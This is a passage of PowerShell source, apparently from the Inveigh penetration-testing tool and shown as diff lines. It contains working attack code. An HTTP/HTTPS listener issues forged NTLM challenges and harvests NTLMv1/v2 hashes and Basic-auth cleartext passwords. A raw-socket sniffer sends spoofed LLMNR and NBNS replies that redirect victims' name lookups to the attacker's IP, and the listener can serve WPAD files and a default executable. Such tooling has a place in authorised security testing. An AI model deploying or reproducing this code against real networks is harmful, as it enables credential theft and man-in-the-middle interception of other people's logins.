$NTLM_user_string + "::" + $NTLM_domain_string + ":" + $NTLMv1_response + ":" + $NTLM_challenge - - if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)")]) - $inveigh.NTLMv1_list.Add($NTLMv1_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") - } - else - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string) for $NTLM_domain_string\$NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) - { - $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) - $inveigh.console_queue.Add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - if($inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") - { - $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") - } - - } - - } - - if ($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) - { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) - } - - } - - } - - } - -} - -# HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener -$HTTP_scriptblock = -{ - param ($HTTPAuth,$HTTPBasicRealm,$WPADAuth) - - function NTLMChallengeBase64 - { - - $HTTP_timestamp = Get-Date - $HTTP_timestamp = $HTTP_timestamp.ToFileTime() - $HTTP_timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - if($inveigh.challenge) - { - $HTTP_challenge = $inveigh.challenge - $HTTP_challenge_bytes = $inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - else - { - $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $HTTP_challenge = $HTTP_challenge_bytes -replace ' ','' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - } - - $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) > $null - - $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00,0x06,0x00,0x06,0x00,0x38, - 0x00,0x00,0x00,0x05,0x82,0x89,0xa + - $HTTP_challenge_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x82,0x00,0x82,0x00,0x3e,0x00,0x00,0x00,0x06, - 0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f,0x4c,0x00,0x41,0x00,0x42,0x00,0x02,0x00,0x06,0x00, - 0x4c,0x00,0x41,0x00,0x42,0x00,0x01,0x00,0x10,0x00,0x48,0x00,0x4f,0x00,0x53,0x00,0x54, - 0x00,0x4e,0x00,0x41,0x00,0x4d,0x00,0x45,0x00,0x04,0x00,0x12,0x00,0x6c,0x00,0x61,0x00, - 0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x03,0x00,0x24, - 0x00,0x68,0x00,0x6f,0x00,0x73,0x00,0x74,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,0x00, - 0x2e,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00,0x6f,0x00,0x63,0x00,0x61, - 0x00,0x6c,0x00,0x05,0x00,0x12,0x00,0x6c,0x00,0x61,0x00,0x62,0x00,0x2e,0x00,0x6c,0x00, - 0x6f,0x00,0x63,0x00,0x61,0x00,0x6c,0x00,0x07,0x00,0x08,0x00 + - $HTTP_timestamp + - 0x00,0x00,0x00,0x00,0x0a,0x0a - - $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) - $NTLM = 'NTLM ' + $NTLM_challenge_base64 - $NTLM_challenge = $HTTP_challenge - - return $NTLM - } - - $HTTP_raw_url_output = $true - - while($inveigh.running) - { - $inveigh.context = $inveigh.HTTP_listener.GetContext() - $inveigh.request = $inveigh.context.Request - $inveigh.response = $inveigh.context.Response - $NTLM = 'NTLM' - $NTLM_auth = $false - $Basic_auth = $false - - if($inveigh.request.IsSecureConnection) - { - $HTTP_type = "HTTPS" - } - else - { - $HTTP_type = "HTTP" - } - - if($inveigh.request.RawUrl -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') - { - $inveigh.response.StatusCode = 200 - } - else - { - $inveigh.response.StatusCode = 401 - } - - $HTTP_request_time = Get-Date -format 's' - - if($HTTP_request_time -eq $HTTP_request_time_old -and $inveigh.request.RawUrl -eq $HTTP_request_raw_url_old -and $inveigh.request.RemoteEndpoint.Address -eq $HTTP_request_remote_endpoint_old) - { - $HTTP_raw_url_output = $false - } - else - { - $HTTP_raw_url_output = $true - } - - if(!$inveigh.request.headers["Authorization"] -and $inveigh.HTTP_listener.IsListening -and $HTTP_raw_url_output) - { - $inveigh.console_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$HTTP_request_time - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) - } - - $HTTP_request_raw_url_old = $inveigh.request.RawUrl - $HTTP_request_remote_endpoint_old = $inveigh.request.RemoteEndpoint.Address - $HTTP_request_time_old = $HTTP_request_time - - [String] $authentication_header = $inveigh.request.headers.GetValues('Authorization') - - if($authentication_header.StartsWith('NTLM ')) - { - $authentication_header = $authentication_header -replace 'NTLM ','' - [Byte[]] $HTTP_request_bytes = [System.Convert]::FromBase64String($authentication_header) - $inveigh.response.StatusCode = 401 - - if($HTTP_request_bytes[8] -eq 1) - { - $inveigh.response.StatusCode = 401 - $NTLM = NTLMChallengeBase64 - } - elseif($HTTP_request_bytes[8] -eq 3) - { - $NTLM = 'NTLM' - $HTTP_NTLM_offset = $HTTP_request_bytes[24] - $HTTP_NTLM_length = DataLength 22 $HTTP_request_bytes - $HTTP_NTLM_domain_length = DataLength 28 $HTTP_request_bytes - $HTTP_NTLM_domain_offset = DataLength 32 $HTTP_request_bytes - [String] $NTLM_challenge = $inveigh.HTTP_challenge_queue -like $inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + '*' - $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) - $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) - - if($HTTP_NTLM_domain_length -eq 0) - { - $HTTP_NTLM_domain_string = '' - } - else - { - $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_length 0 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - } - - $HTTP_NTLM_user_length = DataLength 36 $HTTP_request_bytes - $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_length $HTTP_NTLM_domain_length 0 $HTTP_NTLM_domain_offset $HTTP_request_bytes - $HTTP_NTLM_host_length = DataLength 44 $HTTP_request_bytes - $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_length $HTTP_NTLM_domain_length $HTTP_NTLM_user_length $HTTP_NTLM_domain_offset $HTTP_request_bytes - - if($HTTP_NTLM_length -eq 24) # NTLMv1 - { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains $inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) - { - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) - } - - if($inveigh.NTLMv1_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.NTLMv1_username_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - - if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - } - else - { - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ") for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") - } - - if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")))) - { - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) - } - - if($inveigh.NTLMv2_username_list -notcontains ($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) - { - $inveigh.NTLMv2_username_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + " $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - } - - } - - } - - if($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address.IPAddressToString -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) - { - $inveigh.IP_capture_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString) - } - - $inveigh.response.StatusCode = 200 - $NTLM_auth = $true - $NTLM_challenge = '' - $HTTP_raw_url_output = $true - - } - else - { - $NTLM = 'NTLM' - } - - } - elseif($authentication_header.StartsWith('Basic ')) # Thanks to @xorrior for the initial basic auth code - { - $inveigh.response.StatusCode = 200 - $Basic_auth = $true - $authentication_header = $authentication_header -replace 'Basic ','' - $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($authentication_header)) - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Basic auth cleartext credentials captured from " + $inveigh.request.RemoteEndpoint.Address)]) - $inveigh.cleartext_file_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") - $inveigh.cleartext_list.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + ",$HTTP_type,$cleartext_credentials") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type Basic auth cleartext credentials $cleartext_credentials captured from " + $inveigh.request.RemoteEndpoint.Address) - - if($inveigh.file_output) - { - $inveigh.console_queue.Add("$HTTP_type Basic auth cleartext credentials written to " + $inveigh.cleartext_out_file) - } - - } - - if(($HTTPAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Anonymous' -and $inveigh.request.RawUrl -match '/wpad.dat') -or $NTLM_Auth -or $Basic_auth) - { - - if($inveigh.HTTP_directory -and $inveigh.HTTP_default_EXE -and $inveigh.request.RawUrl -like '*.exe' -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl))) - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_EXE)) - } - elseif($inveigh.HTTP_directory) - { - - if($inveigh.HTTP_default_file -and !(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) -and $inveigh.request.RawUrl -notmatch '/wpad.dat') - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) - } - elseif($inveigh.HTTP_default_file -and $inveigh.request.RawUrl -eq '/' -and (Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file))) - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.HTTP_default_file)) - } - elseif($inveigh.WPAD_response -and $inveigh.request.RawUrl -match '/wpad.dat') - { - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.WPAD_response) - } - else - { - - if(Test-Path (Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) - { - [Byte[]] $HTTP_buffer = [System.IO.File]::ReadAllBytes((Join-Path $inveigh.HTTP_directory $inveigh.request.RawUrl)) - } - else - { - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.HTTP_response) - } - - } - - } - else - { - - if($inveigh.request.RawUrl -match '/wpad.dat') - { - $inveigh.message = $inveigh.WPAD_response - } - elseif($inveigh.HTTP_response) - { - $inveigh.message = $inveigh.HTTP_response - } - else - { - $inveigh.message = $null - } - - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) - } - } - else - { - [Byte[]] $HTTP_buffer = $null - } - - if(($HTTPAuth -eq 'NTLM' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'NTLM' -and $inveigh.request.RawUrl -match '/wpad.dat') -and !$NTLM_auth) - { - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) - } - elseif(($HTTPAuth -eq 'Basic' -and $inveigh.request.RawUrl -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $inveigh.request.RawUrl -match '/wpad.dat')) - { - $inveigh.response.AddHeader("WWW-Authenticate","Basic realm=$HTTPBasicRealm") - } - else - { - $inveigh.response.StatusCode = 200 - } - - $inveigh.response.ContentLength64 = $HTTP_buffer.Length - $HTTP_stream = $inveigh.response.OutputStream - $HTTP_stream.Write($HTTP_buffer,0,$HTTP_buffer.Length) - $HTTP_stream.Close() - } - - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() -} - -# Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer -$sniffer_scriptblock = -{ - param ($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$RunTime,$LLMNRTTL,$NBNSTTL) - - $byte_in = New-Object System.Byte[] 4 - $byte_out = New-Object System.Byte[] 4 - $byte_data = New-Object System.Byte[] 4096 - $byte_in[0] = 1 - $byte_in[1-3] = 0 - $byte_out[0] = 1 - $byte_out[1-3] = 0 - $inveigh.sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) - $inveigh.sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) - $inveigh.sniffer_socket.ReceiveBufferSize = 1024 - $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) - $inveigh.sniffer_socket.Bind($end_point) - $inveigh.sniffer_socket.IOControl([System.Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) - $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) - [Array]::Reverse($LLMNR_TTL_bytes) - $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) - [Array]::Reverse($NBNS_TTL_bytes) - - if($RunTime) - { - $sniffer_timeout = new-timespan -Minutes $RunTime - $sniffer_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } - - while($inveigh.running) - { - $packet_data = $inveigh.sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None) - $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data) - $binary_reader = New-Object System.IO.BinaryReader($memory_stream) - $version_HL = $binary_reader.ReadByte() - $type_of_service= $binary_reader.ReadByte() - $total_length = DataToUInt16 $binary_reader.ReadBytes(2) - $identification = $binary_reader.ReadBytes(2) - $flags_offset = $binary_reader.ReadBytes(2) - $TTL = $binary_reader.ReadByte() - $protocol_number = $binary_reader.ReadByte() - $header_checksum = [System.Net.IPAddress]::NetworkToHostOrder($binary_reader.ReadInt16()) - $source_IP_bytes = $binary_reader.ReadBytes(4) - $source_IP = [System.Net.IPAddress]$source_IP_bytes - $destination_IP_bytes = $binary_reader.ReadBytes(4) - $destination_IP = [System.Net.IPAddress]$destination_IP_bytes - $IP_version = [Int]"0x$(('{0:X}' -f $version_HL)[0])" - $header_length = [Int]"0x$(('{0:X}' -f $version_HL)[1])" * 4 - - switch($protocol_number) - { - - 6 - { # TCP - $source_port = DataToUInt16 $binary_reader.ReadBytes(2) - $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) - $sequence_number = DataToUInt32 $binary_reader.ReadBytes(4) - $ack_number = DataToUInt32 $binary_reader.ReadBytes(12) - $TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4 - $TCP_flags = $binary_reader.ReadByte() - $TCP_window = DataToUInt16 $binary_reader.ReadBytes(2) - $TCP_checksum = [System.Net.IPAddress]::NetworkToHostOrder($binary_reader.ReadInt16()) - $TCP_urgent_pointer = DataToUInt16 $binary_reader.ReadBytes(2) - $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length)) - - switch ($destination_port) - { - - 139 - { - if($SMB -eq 'Y') - { - SMBNTLMResponse $payload_bytes - } - } - - 445 - { - - if($SMB -eq 'Y') - { - SMBNTLMResponse $payload_bytes - } - - } - - } - - # Outgoing packets - switch ($source_port) - { - - 139 - { - - if($SMB -eq 'Y') - { - $NTLM_challenge = SMBNTLMChallenge $payload_bytes - } - - } - - 445 - { - - if($SMB -eq 'Y') - { - $NTLM_challenge = SMBNTLMChallenge $payload_bytes - } - - } - - } - - } - - 17 - { # UDP - $source_port = $binary_reader.ReadBytes(2) - $endpoint_source_port = DataToUInt16 ($source_port) - $destination_port = DataToUInt16 $binary_reader.ReadBytes(2) - $UDP_length = $binary_reader.ReadBytes(2) - $UDP_length_uint = DataToUInt16 ($UDP_length) - $binary_reader.ReadBytes(2) - $payload_bytes = $binary_reader.ReadBytes(($UDP_length_uint - 2) * 4) - - # Incoming packets - switch ($destination_port) - { - - 137 # NBNS - { - - if($payload_bytes[5] -eq 1 -and $IP -ne $source_IP) - { - $UDP_length[0] += 16 - - $NBNS_response_data = $payload_bytes[13..$payload_bytes.Length] + - $NBNS_TTL_bytes + - 0x00,0x06,0x00,0x00 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + - 0x00,0x00,0x00,0x00 - - $NBNS_response_packet = 0x00,0x89 + - $source_port[1,0] + - $UDP_length[1,0] + - 0x00,0x00 + - $payload_bytes[0,1] + - 0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + - $NBNS_response_data - - $send_socket = New-Object Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object Net.IPEndpoint($source_IP,$endpoint_source_port) - $NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44]) - - switch ($NBNS_query_type) - { - - '41-41' - { - $NBNS_query_type = '00' - } - - '41-44' - { - $NBNS_query_type = '03' - } - - '43-41' - { - $NBNS_query_type = '20' - } - - '42-4C' - { - $NBNS_query_type = '1B' - } - - '42-4D' - { - $NBNS_query_type = '1C' - } - - '42-4E' - { - $NBNS_query_type = '1D' - } - - '42-4F' - { - $NBNS_query_type = '1E' - } - - } - - $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) - $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) - $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" - $n = 0 - - do - { - $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) - $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 - } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) - - $n = 0 - - do - { - $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) - $n += 2 - } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) - - if($NBNS -eq 'Y') - { - - if($NBNSTypes -contains $NBNS_query_type) - { - - if ((!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) - { - $send_socket.sendTo($NBNS_response_packet,$destination_point) - $send_socket.Close() - $NBNS_response_message = "- spoofed response has been sent" - } - else - { - - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $NBNS_query_string) - { - $NBNS_response_message = "- $NBNS_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $NBNS_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $NBNS_response_message = "- $source_IP is on ignore list" - } - else - { - $NBNS_response_message = "- not spoofed due to previous capture" - } - - } - - } - else - { - $NBNS_response_message = "- spoof not sent due to disabled type" - } - - } - - $inveigh.console_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NBNS request for $NBNS_query_string<$NBNS_query_type> received from $source_IP $NBNS_response_message")]) - } - } - - 5355 # LLMNR - { - - if([System.BitConverter]::ToString($payload_bytes[($payload_bytes.Length - 4)..($payload_bytes.Length - 3)]) -ne '00-1c') # ignore AAAA for now - { - $UDP_length[0] += $payload_bytes.Length - 2 - $LLMNR_response_data = $payload_bytes[12..$payload_bytes.Length] - - $LLMNR_response_data += $LLMNR_response_data + - $LLMNR_TTL_bytes + - 0x00,0x04 + - ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() - - $LLMNR_response_packet = 0x14,0xeb + - $source_port[1,0] + - $UDP_length[1,0] + - 0x00,0x00 + - $payload_bytes[0,1] + - 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 + - $LLMNR_response_data - - $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)]) - $LLMNR_query = $LLMNR_query -replace "-00","" - $LLMNR_query = $LLMNR_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $LLMNR_query_string = New-Object System.String($LLMNR_query,0,$LLMNR_query.Length) - - if($LLMNR -eq 'Y') - { - - if((!$SpooferHostsReply -or $SpooferHostsReply -contains $LLMNR_query_string) -and (!$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $LLMNR_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (!$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString)) - { - $send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp ) - $send_socket.SendBufferSize = 1024 - $destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port) - $send_socket.SendTo($LLMNR_response_packet,$destination_point) - $send_socket.Close() - $LLMNR_response_message = "- spoofed response has been sent" - } - else - { - - if($SpooferHostsReply -and $SpooferHostsReply -notcontains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is not on reply list" - } - elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $LLMNR_query_string) - { - $LLMNR_response_message = "- $LLMNR_query_string is on ignore list" - } - elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) - { - $LLMNR_response_message = "- $source_IP is not on reply list" - } - elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) - { - $LLMNR_response_message = "- $source_IP is on ignore list" - } - else - { - $LLMNR_response_message = "- not spoofed due to previous capture" - } - - } - - } - - $inveigh.console_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - LLMNR request for $LLMNR_query_string received from $source_IP $LLMNR_response_message")]) - } - } - - } - } - - } - - 